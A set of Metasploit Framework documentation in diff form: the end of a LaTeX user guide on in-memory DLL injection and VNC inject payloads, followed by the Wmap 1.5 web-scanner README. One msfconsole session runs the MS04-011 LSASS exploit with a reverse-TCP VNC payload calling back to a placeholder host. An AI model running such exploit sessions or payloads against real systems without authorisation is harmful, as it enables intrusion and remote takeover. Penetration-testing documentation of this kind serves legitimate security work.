\section{Win32 DLL Injection Payloads}
|
||||
\par
|
||||
The Framework includes a staged payload that is
|
||||
capable of injecting a custom DLL into memory in combination with any Win32
|
||||
exploit. This payload will not result in any files being written to disk; the
|
||||
DLL is loaded directly into memory and is started as a new thread in the
|
||||
exploited process. This payload was developed by Jarkko Turkulainen and Matt
|
||||
Miller and is one of the most powerful post-exploitation techniques developed
|
||||
to date. To create a DLL which can be used with this payload, use the
|
||||
development environment of choice and build a standard Win32 DLL. This DLL
|
||||
should export an function called Init which takes a single argument, an
|
||||
integer value which contains the socket descriptor of the payload connection.
|
||||
The Init function becomes the entry point for the new thread in the exploited
|
||||
process. When processing is complete, it should return and allow the loader
|
||||
stub to exit the process according to the \texttt{EXITFUNC} environment
|
||||
variable. If you would like to write your own DLL payloads, refer to the
|
||||
external/source/dllinject directory in the Framework. In additional to normal
|
||||
DLL Injection, version 3.2 and newer include support for Reflective DLL Injection
|
||||
payloads as well. For more information about Reflective DLL Injection, please see
|
||||
the Harmony Security paper, located at
|
||||
\url{http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf}
|
||||
|
||||
\section{VNC Server DLL Injection}
|
||||
\par
|
||||
One of the first DLL injection payloads developed was a customized VNC server.
|
||||
This server was written by Matt Miller and based on the RealVNC source code.
|
||||
Additional modifications were made to allow the server to work with exploited,
|
||||
non-interactive network services. This payload allows you to immediately access
|
||||
the desktop of an exploited system using almost any Win32 exploit. The DLL is
|
||||
loaded into the remote process using any of the staged loader systems, started
|
||||
up as a new thread in the exploited process, and the listens for VNC client
|
||||
requests on the same socket used to load the DLL. The Framework listens
|
||||
on a local socket for a VNC client and proxies data across the payload
|
||||
connection to the server.
|
||||
|
||||
\par
|
||||
The VNC server will attempt to obtain full access to the current interactive
|
||||
desktop. If the first attempt fails, it will call RevertToSelf() and then try
|
||||
the attempt again. If it still fails to obtain full access to this desktop, it
|
||||
will fall back to a read-only mode. In read-only mode, the Framework user can
|
||||
view the contents of the desktop, but not interact with it. If full access was
|
||||
obtained, the VNC server will spawn a command shell on the desktop with the
|
||||
privileges of the exploited service. This is useful in situations where an
|
||||
unprivileged user is on the interactive desktop, but the exploited service is
|
||||
running with System privileges.
|
||||
|
||||
\par
|
||||
If there is no interactive user logged into the system or the screen has been
|
||||
locked, the command shell can be used to launch explorer.exe anyways. This can
|
||||
result in some very confused users when the logon screen also has a Start Menu.
|
||||
If the interactive desktop is changed, either through someone logging into the
|
||||
system or locking the screen, the VNC server will disconnect the client. Future
|
||||
versions may attempt to follow a desktop switch.
|
||||
|
||||
\par
|
||||
To use the VNC injection payloads, specify the full path to the VNC server as
|
||||
the value of the \texttt{DLL} option. The VNC server can be found in the data
|
||||
subdirectory of the Framework installation and is named 'vncdll.dll'. The source
|
||||
code of the DLL can be found in the external/source/vncdll
|
||||
subdirectory of the Framework installation.
|
||||
|
||||
\par
|
||||
There are a few situations where the VNC inject payload
|
||||
will simply not work. These problems are often cause by strange execution
|
||||
environments or other issues related to a specific exploit or injection method.
|
||||
These issues will be addressed as time permits:
|
||||
\begin{itemize}
|
||||
\item The windows/brightstor/universal\_agent exploit will cause the VNC payload to
|
||||
crash, possibly due to a strange heap state.
|
||||
\end{itemize}
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use windows/smb/ms04_011_lsass
|
||||
msf exploit(ms04_011_lsass) > set RHOST some.vuln.host
|
||||
RHOST => some.vuln.host
|
||||
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
|
||||
PAYLOAD => windows/vncinject/reverse_tcp
|
||||
msf exploit(ms04_011_lsass) > set LHOST your.own.ip
|
||||
LHOST => your.own.ip
|
||||
msf exploit(ms04_011_lsass) > set LPORT 4321
|
||||
LPORT => 4321
|
||||
msf exploit(ms04_011_lsass) > exploit
|
||||
\end{verbatim}
|
||||
|
||||
If the "vncviewer" application is in your path and the AUTOVNC option has been
|
||||
set (it is by default), the Framework will automatically open the VNC desktop.
|
||||
If you would like to connect to the desktop manually, \texttt{set AUTOVNC 0}, then use
|
||||
vncviewer to connect to 127.0.0.1 on port 5900.
|
||||
|
||||
\pagebreak
|
||||
\chapter{More Information}
|
||||
|
||||
|
||||
\section{Web Site}
|
||||
\par
|
||||
The metasploit.com web site is the first place to check for updated modules and
|
||||
new releases. This web site also hosts the Opcode Database and a decent shellcode
|
||||
archive.
|
||||
|
||||
\section{Mailing List}
|
||||
\par
|
||||
Metasploit hosts two mailing lists -- Framework and Framework-Hackers. You can find
|
||||
information about these mailing lists, along with their archives, at the following URL:
|
||||
\url{http://spool.metasploit.com/}
|
||||
|
||||
\section{Developers}
|
||||
\par
|
||||
If you are interested in helping out with the Framework project, or have any
|
||||
questions related to module development, please contact the development team. The
|
||||
Metasploit Framework development team can be reached at msfdev[at]metasploit.com.
|
||||
|
||||
\pagebreak
|
||||
\appendix
|
||||
|
||||
\pagebreak
|
||||
\chapter{Security}
|
||||
|
||||
\par
|
||||
We recommend that you use a robust, secure terminal emulator when
|
||||
utilizing the command-line interfaces. Examples include \texttt{konsole},
|
||||
\texttt{gnome-terminal}, and recent versions of \texttt{PuTTY}.
|
||||
|
||||
\par
|
||||
We do not recommend that the \texttt{msfweb} interface be used on untrusted
|
||||
networks.
|
||||
|
||||
\section{Console Interfaces}
|
||||
\par
|
||||
The console does not perform terminal escape sequence filtering, this
|
||||
could allow a hostile network service to do Bad Things (TM) to your terminal
|
||||
emulator when the exploit or check commands are used. We suggest that you
|
||||
use a terminal emulator which limits the functionality available through
|
||||
hostile escape sequences. Please see the Terminal Emulator Security Issues paper
|
||||
below for more information on this topic:
|
||||
|
||||
\url{http://marc.info/?l=bugtraq&m=104612710031920&q=p3}
|
||||
|
||||
|
||||
\section{Web Interface}
|
||||
\par
|
||||
The \texttt{msfweb} interface does not adequately filter certain arguments,
|
||||
allowing a hostile web site operator to perform a cross-site scripting
|
||||
attack on the \texttt{msfweb} user.
|
||||
|
||||
\par
|
||||
The \texttt{msfweb} interface does not provide any access control functionality. If
|
||||
the service is configured to listen on a different interface (default is
|
||||
loopback), a malicious attacker could abuse this to exploit remote systems
|
||||
and potentially access local files. The local file access attack can be
|
||||
accomplished by malicious arguments to the payloads which use a local file
|
||||
as input and then exploiting a (fake) service to obtain the file contents.
|
||||
|
||||
|
||||
\pagebreak
|
||||
\chapter{General Tips}
|
||||
|
||||
\section{Tab Completion}
|
||||
\label{REF-TAB}
|
||||
\par
|
||||
On the Unix and Cygwin platforms, tab completion depends on the existence of the Readline
|
||||
library when Ruby was compiled. Some operating systems, such as Mac OS X, have included
|
||||
a version of Ruby without this support. To solve this problem, grab the latest version
|
||||
of the Readline library, configure, build, and install it. Then grab the latest version
|
||||
of the Ruby interpreter and do the same. The resulting Ruby binary can be used to start the
|
||||
\texttt{msfconsole} interface with full tab completion support.
|
||||
|
||||
|
||||
\section{Secure Socket Layer}
|
||||
\label{REF-SSL}
|
||||
\par
|
||||
Nearly all TCP-based exploit and auxiliary modules have builtin support for the Secure Socket Layer.
|
||||
This is a feature of the Socket class included with the Rex library. To indicate that all connections
|
||||
should use SSL, set the \texttt{SSL} environment variable to \texttt{true} from within the Framework
|
||||
interface. Keep in mind, that in most cases the default \texttt{RPORT} variable will need to be
|
||||
changed as well. For example, when exploiting a web application vulnerability through SSL, the
|
||||
\texttt{RPORT} value should be set to \texttt{443}.
|
||||
|
||||
\pagebreak
|
||||
\chapter{Licenses}
|
||||
|
||||
\par
|
||||
The Metasploit Framework is distributed under the modified-BSD license defined below.
|
||||
|
||||
{\footnotesize
|
||||
\begin{verbatim}
|
||||
Copyright (c) 2008, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
\end{verbatim}}
|
||||
|
||||
\end{document}
|
Binary file not shown.
Binary file not shown.
|
@ -1,567 +0,0 @@
|
|||
|
||||
.-.-.-..-.-.-..---..---.
|
||||
| | | || | | || | || |-'
|
||||
`-----'`-'-'-'`-^-'`-'
|
||||
Metasploit Wmap 1.5
|
||||
==============================================================================
|
||||
Efrain Torres et [ ] metasploit.com 2012
|
||||
------------------------------------------------------------------------------
|
||||
|
||||
=[ 0. Intro ] ----------------------------------------------------------------
|
||||
|
||||
So its 2012 and before the Mayans are proven to be right I was able to create
|
||||
a new version of this plugin. If you have read the old wmap documentation this
|
||||
is what is going on:
|
||||
|
||||
Wmap is still a general purpose web application scanning framework for
|
||||
Metasploit. Still is a different approach compared to other open source
|
||||
alternatives and commercial scanners, as Wmap is not build around any browser
|
||||
or spider for data capture and manipulation. And the best thing is that still
|
||||
is FR33. Lots of bugs are gone and the new code allows for faster and more
|
||||
efficient execution.
|
||||
|
||||
=[ 1. How it works ] ---------------------------------------------------------
|
||||
|
||||
The old architecture (versions < 1.5):
|
||||
|
||||
[CLIENT] ----- [ATTACK PROXY] ----- [TARGET]
|
||||
| | ^
|
||||
+--------->[METASPLOIT DB] |
|
||||
| |
|
||||
[MSF 3 - Wmap SCANNER] |
|
||||
[MSF 3 - Wmap MODULES] -----+
|
||||
|
||||
The new architecture:
|
||||
|
||||
[CLIENTS]
|
||||
|
|
||||
|
|
||||
+-------[Wmap PLUGIN]<-----+----->[METASPLOIT DB]
|
||||
| | | |
|
||||
| | | |
|
||||
[NODE 1] [NODE 2] [NODE n] ---------+
|
||||
| | | \
|
||||
| | | [Wmap MODULES]
|
||||
+---------[TARGETS]--------+
|
||||
|
||||
|
||||
Wmap is a Metasploit plugin and will interact with the database, reading all
|
||||
gathered traffic from any client you have configured/adapted or duct taped to
|
||||
store web sites, requests, responses and forms in the Metasploit DB.
|
||||
|
||||
The test performed are all Metasploit modules which WMAP execute in a
|
||||
configurable order. The test modules are implemented as auxiliary or exploit
|
||||
modules and they can interact with any other MSF component including the
|
||||
database other exploits and plugins.
|
||||
|
||||
The new architecture allows to have different distributed clients and nodes
|
||||
all storing results and data to a central database. This means that large
|
||||
enviorments can be tested using multiple metasploit msfrcpd servers (nodes)
|
||||
controled from one (or more) WMAP consoles. Wmap will execute the tests to be
|
||||
launched from each node distributing evenly the job load across all configured
|
||||
nodes.
|
||||
|
||||
In case you dont want to use a distributed model wmap will detect that no
|
||||
nodes have been configured and will run the modules from the local host.
|
||||
|
||||
|
||||
=[ 2. Crawlers,proxies and other clients ] -----------------------------------
|
||||
|
||||
At this time Metasploit have 4 components that may be used as clients
|
||||
to store web sites in the database:
|
||||
|
||||
(1) If you have configured your database properly and use the
|
||||
auxiliary/scanner/http/crawler module, this module will create a web site
|
||||
(with related host and service) and store all requests,responses and forms
|
||||
automatically.
|
||||
|
||||
(2) Less known is that metasploit has a different crawler called msfcrawler
|
||||
and besides supporting modules to parse the responses in any way you want
|
||||
it will also store the required data in the database.
|
||||
|
||||
(3) Also any module that creates a web_site in the database (e.g.
|
||||
auxiliary/scanner/http/http_version module)
|
||||
will add a site to the database that can be selected as a target in Wmap,
|
||||
however the only path you will be storing will be the root path of the
|
||||
website '/'.
|
||||
|
||||
(4) Metasploit has the awesome 'db_import' command that allows to import
|
||||
multiple scan results from many sources. For tools like Acunetix,
|
||||
Burp and Appscan the results contains web_pages and forms. For the rest
|
||||
(at this time) the results will import services (no web sites, pages or
|
||||
forms associated to them).
|
||||
|
||||
msf > db_import
|
||||
Usage: db_import <filename> [file2...]
|
||||
|
||||
Filenames can be globs like *.xml, or **/*.xml which will search recursively
|
||||
Currently supported file types include:
|
||||
Acunetix XML
|
||||
Amap Log
|
||||
Amap Log -m
|
||||
Appscan XML
|
||||
Burp Session XML
|
||||
...
|
||||
|
||||
|
||||
Or you can add a site manually to the database using the 'wmap_sites -a'
|
||||
command (after loading the wmap plugin. See '4. Wmap Plugin'):
|
||||
|
||||
msf > wmap_sites -a www.blah.net,http://192.168.0.2/
|
||||
[*] Site created.
|
||||
|
||||
Note: www.blah.net,http://192.168.0.2/ <-- is one site vhost,url
|
||||
|
||||
For other tools to store web data in the database the only hard part is to
|
||||
deal with the ruby marshalling of parameters in the web_forms table. (Topic
|
||||
for another paper). But this is one of the main issues regarding the use of
|
||||
other tools to connect to the database. However any Ruby based tool can be
|
||||
modified easily to do this.
|
||||
|
||||
If you noticed the previous architecture the ATTACK PROXY has gone the way of
|
||||
the Dodo (actually not as is just another client). But i will stop mention it
|
||||
because i have been unable to create a good Ruby based MITM proxy (Sorry)
|
||||
and second because i dont want to maintain plugins for every type of proxy
|
||||
out there. Is your exercise to create custom plugins for your tools to connect
|
||||
to the database, after that Wmap does not care where the data comes from.
|
||||
|
||||
=[ 3. The Wmap cycle ]--------------------------------------------------------
|
||||
|
||||
Or how every other scanner works but in wmap fancy terms.
|
||||
|
||||
0. Gather data from (See Crawlers,proxies and other clients)
|
||||
targets
|
||||
1. Load the scanner (Load wmap plugin. See "4. Wmap Plugin")
|
||||
2. Optional: Define nodes (Use 'wmap_nodes'. See "6. Wmap Nodes")
|
||||
3. Define targets (Use 'wmap_sites' and 'wmap_targets'.See "5. Wmap Targets")
|
||||
4. Configure (Lots of things here)
|
||||
5. Launch (Use 'wmap_run'. See "7. Launch a scan")
|
||||
6. Enjoy WTF Moments(Priceless...)
|
||||
|
||||
Note: Step 2 is optional as Wmap allows you to perform distributed scans
|
||||
using multiple nodes. If no nodes are configured the scan runs as usual
|
||||
running all tests from the local host.
|
||||
|
||||
=[ 4. Wmap Plugin ]-----------------------------------------------------------
|
||||
|
||||
To launch wmap open a Metasploit console and load the wmap plugin.
|
||||
|
||||
msf > load wmap
|
||||
[*] [Wmap 1.5] === et [ ] metasploit.com 2012
|
||||
[*] Successfully loaded plugin: wmap
|
||||
|
||||
Now that the plugin is loaded lets go through the list of basic commands:
|
||||
|
||||
msf > help wmap
|
||||
|
||||
Wmap Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
wmap_nodes Manage nodes
|
||||
wmap_run Test targets
|
||||
wmap_sites Manage sites
|
||||
wmap_targets Manage targets
|
||||
wmap_modules Manage wmap modules
|
||||
wmap_vulns Display web vulns
|
||||
|
||||
=[ 5. Wmap Targets ]----------------------------------------------------------
|
||||
|
||||
The targets are selected from the sites already stored in the database. For
|
||||
example after crawling a site (See "2. Crawlers,proxies and other clients").
|
||||
Now we can use the command 'wmap_sites' to list them:
|
||||
|
||||
msf > wmap_sites
|
||||
[*] Usage: wmap_sites [options]
|
||||
-h Display this help text
|
||||
-a [url] Add site (vhost,url)
|
||||
-l List all available sites
|
||||
-s [id] Display site structure (vhost,url|ids) (level)
|
||||
|
||||
msf > wmap_sites -l
|
||||
[*] Available sites
|
||||
===============
|
||||
|
||||
Id Host Vhost Port Proto # Pages # Forms
|
||||
-- ---- ----- ---- ----- ------- -------
|
||||
0 10.10.10.1 blah.xyz.com 443 https 3 2
|
||||
1 10.10.10.2 blah.xyz.com 443 https 3 2
|
||||
2 10.1.2.2 nah.test.com 443 https 1 0
|
||||
3 10.4.3.10 test.abcd.com 80 http 1 1
|
||||
|
||||
Note 1: Metasploit/Wmap supports multiple Vhosts/IPs.
|
||||
|
||||
Note 2: If you want to check the web site structure use the '-s site_id' flag
|
||||
like this (also especify an optional level to display):
|
||||
|
||||
msf > wmap_sites -s 0 1
|
||||
(First level of site 0)
|
||||
msf > wmap_sites -s 0
|
||||
|
||||
[10.10.10.1] (blah.xyz.com)
|
||||
|
|
||||
+-------- dir1
|
||||
|
|
||||
+------ login.php
|
||||
+-------- dir2
|
||||
....
|
||||
|
||||
Then from the table we can select the targets we want to scan with the
|
||||
'wmap_targets' command:
|
||||
|
||||
msf > wmap_targets
|
||||
[*] Usage: Wmap_targets [options]
|
||||
-h Display this help text
|
||||
-t [urls] Define target sites (vhost1,url[space]vhost2,url)
|
||||
-d [ids] Define target sites (id1, id2, id3 ...)
|
||||
-c Clean target sites list
|
||||
-l List all target sites
|
||||
|
||||
You can define targets in two ways, using the vhost,url syntax (-t) or the
|
||||
table ids (-d)
|
||||
|
||||
msf > wmap_targets -t test.abcd.com,http://10.4.3.10/
|
||||
|
||||
msf > wmap_targets -d 0,1
|
||||
[*] Loading blah.xyz.com,https://10.10.10.1:443/.
|
||||
[*] Loading blah.xyz.com,https://10.10.10.2:443/.
|
||||
|
||||
To see the list of all the targets to scan at this time run the
|
||||
command with the (-l) flag.
|
||||
|
||||
msf > wmap_targets -l
|
||||
[*] Defined targets
|
||||
===============
|
||||
|
||||
Id Vhost Host Port SSL Path
|
||||
-- ----- ---- ---- --- ----
|
||||
0 blah.xyz.com 10.10.10.1 443 true /
|
||||
1 blah.xyz.com 10.10.10.2 443 true /
|
||||
2 test.abcd.com 10.4.3.10 80 false /
|
||||
|
||||
|
||||
=[ 6. Wmap Nodes ]------------------------------------------------------------
|
||||
|
||||
Wmap uses 'nodes' as a way to distribute the execution of the test against
|
||||
one or more targets. Nodes are not required to run wmap . if nodes are not
|
||||
configured and a scan is launched wmap will detect this and launch all tests
|
||||
from the local host.
|
||||
|
||||
The nodes are just msfrpcd servers that are created the following way:
|
||||
|
||||
msf>ruby msfrpcd -h
|
||||
|
||||
Usage: msfrpcd <options>
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-P <opt> Specify the password to access msfrpcd
|
||||
-S Disable SSL on the RPC socket
|
||||
-U <opt> Specify the username to access msfrpcd
|
||||
-a <opt> Bind to this IP address
|
||||
-f Run the daemon in the foreground
|
||||
-h Help banner
|
||||
-n Disable database
|
||||
-p <opt> Bind to this port instead of 55553
|
||||
-u <opt> URI for Web server
|
||||
|
||||
msf>ruby msfrpcd -U msf -P nodepass
|
||||
[*] MSGRPC starting on 192.168.0.1:55553 (SSL):Msg...
|
||||
[*] MSGRPC backgrounding at 2012-01-17 11:01:01 -0600...
|
||||
|
||||
if you want to create a msfrpc server from the msfconsole you can do it by
|
||||
loading the msgrpc plugin:
|
||||
|
||||
msf > load msgrpc User=msf Pass=nodepass
|
||||
[*] MSGRPC Service: 127.0.0.1:55552
|
||||
[*] MSGRPC Username: msf
|
||||
[*] MSGRPC Password: nodepass
|
||||
[*] Successfully loaded plugin: msgrpc
|
||||
|
||||
On a later stage in the wmap console we will add such nodes so the scans can
|
||||
be distributed across all the configured nodes. so remember how you deployed
|
||||
your nodes so they can be configured in wmap.
|
||||
|
||||
In the metasploit console after you have loaded the wmap plugin you can add
|
||||
the previous nodes with the 'wmap_nodes' command:
|
||||
|
||||
msf > wmap_nodes
|
||||
[*] Usage: wmap_nodes [options]
|
||||
-h Display this help text
|
||||
-c id Remove id node (Use ALL for ALL nodes
|
||||
-a host port ssl user pass Add node
|
||||
-d host port user pass db Force all nodes to connect to a db
|
||||
-j View detailed jobs
|
||||
-k ALL|id ALL|job_id Kill jobs on node
|
||||
-l List all current nodes
|
||||
|
||||
msf > wmap_nodes -a 192.168.0.1 55553 true msf nodepass
|
||||
[*] Connected to 192.168.0.1:55553 [4.2.0-dev].
|
||||
[*] Node created.
|
||||
|
||||
Note: When launching msfrpcd waiht for a couple of seconds beofr adding it to
|
||||
wmap as msfrpcd sometimes is slow to start accepting connections.
|
||||
|
||||
Add as many nodes you want. To see the list use 'wmap_nodes -l':
|
||||
|
||||
msf > wmap_nodes -l
|
||||
[*] Nodes
|
||||
=====
|
||||
|
||||
Id Host Port SSL User Pass Status #jobs
|
||||
-- ---- ---- --- ---- ---- ------ -----
|
||||
0 127.0.0.1 55553 true msf nodepass 4.2.0-dev 0
|
||||
1 192.168.0.1 55553 true msf nodepass 4.2.0-dev 0
|
||||
|
||||
Note: After launching all tests this command will allow you to see if all
|
||||
your jobs have been completed (#jobs == 0).
|
||||
|
||||
Remember that all these commands can be added as a .rc file so you dont
|
||||
have to type again and again the loading of wmap and the configuration of
|
||||
nodes.
|
||||
|
||||
After you have your nodes connected then you can force them to connect to
|
||||
the central metasploit database:
|
||||
|
||||
msf > wmap_nodes -d 127.0.0.1 7175 dbuser dbpass msf3
|
||||
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 127.0.0.1:7175 OK
|
||||
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 192.168.0.1:7175 OK
|
||||
[*] OK.
|
||||
|
||||
|
||||
=[ 7. Launch a scan ]---------------------------------------------------------
|
||||
|
||||
Now that database,targets and maybe nodes are set we run a scan with the
|
||||
'wmap_run' command:
|
||||
|
||||
msf > wmap_run
|
||||
[*] Usage: wmap_run [options]
|
||||
-h Display this help text
|
||||
-t Show all enabled modules
|
||||
-m [regex] Launch only modules that match provided regex
|
||||
-p [regex] Only test path defined by regex..
|
||||
-e [/path/to/profile] Launch profile modules against all targets.
|
||||
No file runs all enabled modules.
|
||||
|
||||
msf > wmap_run -e
|
||||
[*] Using ALL wmap enabled modules.
|
||||
[*] Testing target:
|
||||
[*] Site: test.abcd.com (10.4.3.10)
|
||||
[*] Port: 80 SSL: false
|
||||
============================================================
|
||||
[*] Testing started. 2012-12-21 0:0:0 -0600
|
||||
[*]
|
||||
=[ SSL testing ]=
|
||||
============================================================
|
||||
[*] Target is not SSL. SSL modules disabled.
|
||||
[*]
|
||||
=[ Web Server testing ]=
|
||||
============================================================
|
||||
[*] Module auxiliary/admin/http/http_version
|
||||
[*] Module auxiliary/admin/http/tomcat_administration
|
||||
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
|
||||
[*] Module auxiliary/admin/http/trendmicro_dlp_traversal
|
||||
[*] Module auxiliary/scanner/http/cisco_nac_manager_traversal
|
||||
....
|
||||
msf >
|
||||
|
||||
As you see here wmap executes each of the modules against the defined targets.
|
||||
(See "8. Wmap Modules") If nodes were configured it will go thru the list of
|
||||
nodes and will send a job to the less loaded node to execute the especific
|
||||
module with the required options. To force a good job distribution across the
|
||||
nodes wmap has a limit of 25 jobs per node. If a node has reached the limit it
|
||||
will try with the next node until there is a slot available.
|
||||
|
||||
Check periodically with the 'wmap_nodes -l' command to see the current job
|
||||
status. After the asssement is complete now you can use the normal metasploit
|
||||
commands to see the results.
|
||||
|
||||
To view detailed job information on each node use the 'wmap_nodes' (-j) flag:
|
||||
|
||||
msf >wmap_nodes -j
|
||||
[*] [Node #0: 127.0.0.1 Port:55553 SSL:true User:msf]
|
||||
[*] Jobs
|
||||
====
|
||||
|
||||
Id Job name Target PATH
|
||||
-- -------- ------ ----
|
||||
0 Auxiliary: scanner/http/dir_scanner 192.168.0.1:80 /
|
||||
...
|
||||
|
||||
|
||||
[*] [Node #1: 127.0.0.1 Port:55555 SSL:true User:msf]
|
||||
[*] Jobs
|
||||
====
|
||||
|
||||
Id Job name Target PATH
|
||||
-- -------- ------ ----
|
||||
2 Auxiliary: scanner/http/dir_scanner 192.168.0.2:80 /
|
||||
...
|
||||
|
||||
Also you can kill especific jobs or all jobs from one or all nodes:
|
||||
|
||||
msf > wmap_nodes -k 0 ALL
|
||||
[*] Node 0 Killed job id 262 Auxiliary: admin/http/tomcat_administration
|
||||
[*] Node 0 Killed job id 263 Auxiliary: admin/http/tomcat_utf8_traversal
|
||||
[*] Node 0 Killed job id 271 Auxiliary: scanner/http/soap_xml
|
||||
[*] Node 0 Killed job id 299 Auxiliary: scanner/http/brute_dirs
|
||||
[*] Node 0 Killed job id 300 Auxiliary: scanner/http/brute_dirs
|
||||
[*] Node 0 Killed job id 301 Auxiliary: scanner/http/brute_dirs
|
||||
....
|
||||
|
||||
If during the scan a node dies wmap will disable the node and will keep
|
||||
sending the jobs to the other active nodes.
|
||||
|
||||
If nodes were not configured wmap will launch the tests from the
|
||||
local host the old fashion.
|
||||
|
||||
=[ 8. Wmap Modules ] ---------------------------------------------------------
|
||||
|
||||
Wmap modules are normal Metasploit modules. Each module has a WMAP type,
|
||||
this determine when the module is launched and to a certain degree,the minimum
|
||||
type of information it requires to be executed. The best way to develop a new
|
||||
test for wmap, is to use already implemented modules as a base and then
|
||||
develop a normal MSF module that can be run manually from the command line. To
|
||||
enable a module to be run automatically via wmap just include the mixin that
|
||||
determine the type of the module (Means: just add the example string to a
|
||||
module and use the correct type).
|
||||
|
||||
Example:
|
||||
|
||||
include Auxiliary::WmapScanFile
|
||||
|
||||
The following are the types of modules implemented at this time and they are
|
||||
listed in the order WMAP runs them:
|
||||
|
||||
WmapScanSSL - Run once against a SSL server
|
||||
WmapScanServer - Run once against a target Web Server
|
||||
WmapScanDir - Runs for every directory found in the target
|
||||
WmapScanFile - Runs for every file found in the target
|
||||
WmapScanUniqueQuery - Runs for every unique query found in each request to the
|
||||
target
|
||||
WmapScanQuery - Runs for every query found in each request to the target
|
||||
WmapScanGeneric - Modules to be run after all tests complete.Good place to
|
||||
perform passive analysis of responses, analysis of test
|
||||
results to launch other modules (i.e. exploits).
|
||||
|
||||
Note: Multiple mixins can be included in a module if needed.
|
||||
|
||||
The execution order not only is handled by the wmap type but also it can be
|
||||
adjusted across all modules by defining a wmap orderid number using the
|
||||
'register_wmap_options' method.
|
||||
|
||||
Using http_version.rb module as an example:
|
||||
|
||||
Class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::WmapScanServer
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP Version Detection',
|
||||
...
|
||||
)
|
||||
|
||||
register_wmap_options({
|
||||
'OrderID' => 0,
|
||||
'Require' => {},
|
||||
})
|
||||
...
|
||||
|
||||
'OrderID' Numeric value that represents the order ALL modules will be executed
|
||||
You can see the modules and orderid with the 'wmap_modules -l'
|
||||
command:
|
||||
|
||||
msf > wmap_modules -l
|
||||
|
||||
|
||||
'Require' Array of all the modules orderids that are required to be executed
|
||||
and finished first before the curent module. (This specific
|
||||
funtionality is still in the works, but the objective is to have
|
||||
modules to provide results as input to other modules.)
|
||||
|
||||
Wmap enabled modules can be reloaded using the wmap_modules -r command.
|
||||
|
||||
=[ 9. RANDOM NOTES ]----------------------------------------------------------
|
||||
|
||||
Because every test is a module the datastore is sent to the module in the node
|
||||
for execution. If a module you create needs a specific option set before
|
||||
launch just set it in the console as a regular variable. For example:
|
||||
|
||||
msf > set DOMAIN abcd.com
|
||||
DOMAIN => abcd.com
|
||||
msf >
|
||||
|
||||
This is usefull if you want to include exploits in the testing and not only
|
||||
auxiliary modules. WMAP looks for wmap enabled modules in ALL auxiliary and
|
||||
exploit modules.
|
||||
|
||||
Also if you have asked yourself why there are commands that receive not only
|
||||
table id but the ugly vhost,url syntax for site and target definition is
|
||||
because this allows to do complex scripts, so be creative.
|
||||
|
||||
If you see a Reauth message in WMAP is because the XMLRPC token is not valid
|
||||
and a reauthentication to the nodes is required. But dont worry wmap does that
|
||||
automaticaly for you.
|
||||
|
||||
=[ 10. Results ]--------------------------------------------------------------
|
||||
|
||||
Modules may report results as notes (notes) , vulnerabilities (vulns) and/or
|
||||
web vulnerabilities (web vulns). As notes and general vulnerabilities can be
|
||||
displayed using the metasploit commands 'notes' and 'vulns', Wmap implements
|
||||
'wmap_vulns' to display the results stored in the web_vulns db table. The
|
||||
reporting is basic at this time , however the Metasploit database can be
|
||||
easily accessed to fullfill your reporting needs.
|
||||
|
||||
Note: Always check 'notes', 'vulns' and 'wmap_vulns' for results.
|
||||
|
||||
|
||||
=[ 11. TO DO ]----------------------------------------------------------------
|
||||
|
||||
- The quality of the scan depends on the quality of the modules. So please
|
||||
contribute more modules and improvements. If you dont contribute , you dont
|
||||
have the right to complain. The only key issues to consider are:
|
||||
|
||||
+ The module should follow metasploit guidelines
|
||||
+ Add the right mixin(s)
|
||||
+ The module should store the right data and results in the database
|
||||
+ Always use report_vuln or report_web_vuln to report output from a
|
||||
module as report_note overwrites results if 'type' is the same.
|
||||
+ The module has to have a clear purpose!!!!
|
||||
Is better to have multiple modules with simple tasks/objectives that
|
||||
one that does everything.
|
||||
+ The variables/options used in the datastore have to be the same between
|
||||
wmap and the module so wmap can pass the right information to it.
|
||||
Usually this is the naming convention to use for the options:
|
||||
|
||||
OptString:
|
||||
|
||||
'VHOST' = HTTP Virtual Host
|
||||
'METHOD' = HTTP Method
|
||||
'PATH' = HTTP URI Path.
|
||||
